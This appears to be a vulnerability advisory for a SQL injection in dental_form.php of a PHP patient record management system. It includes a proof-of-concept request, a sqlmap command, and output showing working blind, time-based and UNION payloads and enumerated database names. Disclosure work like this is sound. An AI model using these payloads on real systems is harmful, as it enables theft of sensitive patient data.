PATIENT_RECORD_MANAGEMENT_SYSTEM_IN_PHP has sql injection indental _dental_form.php

supplier

https://code-projects.org/patient-record-management-system-in-php-with-source-code/#google_vignette

Vulnerability parameter

/dental_form.php

describe

An unrestricted SQL injection attack exists in patient-record-management-system-in-php in dental_form.php, The parameters that can be controlled are as follows: $dental_no. This function executesthe dental_no parameter into the SQL statement without any restrictions. A malicious attacker couldexploit this vulnerability to obtain sensitive information in the server database

Code analysis

When the value of $dental_no parameter is obtained in dental _dental_form.php , it will be concatenated intoSQL statements and executed, which has a SQL injection vulnerability.

POC

GET /dental_form.php?dental_no=1* HTTP/1.1
Content-Type: application/json
Host: hcpms

Result

python3 .\sqlmap.py –u http://hcpms/dental_form.php?dental_no=1 –p dental_no –dbms= Mysql --dbs

got a 302 redirect to 'http://hcpms/index.php'. Do you want to follow? [Y/n] n

```
sqlmap identified the following injection point(s) with a total of 214 HTTP(s) requests:
---
Parameter: dental_no (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: dental_no=1' RLIKE (SELECT (CASE WHEN (4840=4840) THEN 1 ELSE 0x28 END))-- nKTo

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: dental_no=1' AND (SELECT 3088 FROM (SELECT(SLEEP(5)))asUC)-- QpzM

    Type: UNION query
    Title: MySQL UNION query (NULL) - 24 columns
    Payload: dental_no=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CO
NCAT(0x716b767871,0x434f48726d5248554b78796a447462586573757346474346b445962706d4576726c6f70756e666573,0x71626a6271),NULL
NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[18:42:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 5.6.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[18:42:32] [INFO] fetching database names
available databases [9]:
[*] gxlcms
[*] hcpms
[*] information_schema
[*] mces
[*] mutillidae
[*] mysql
[*] performance_schema
[*] qdbcrm
[*] sys
```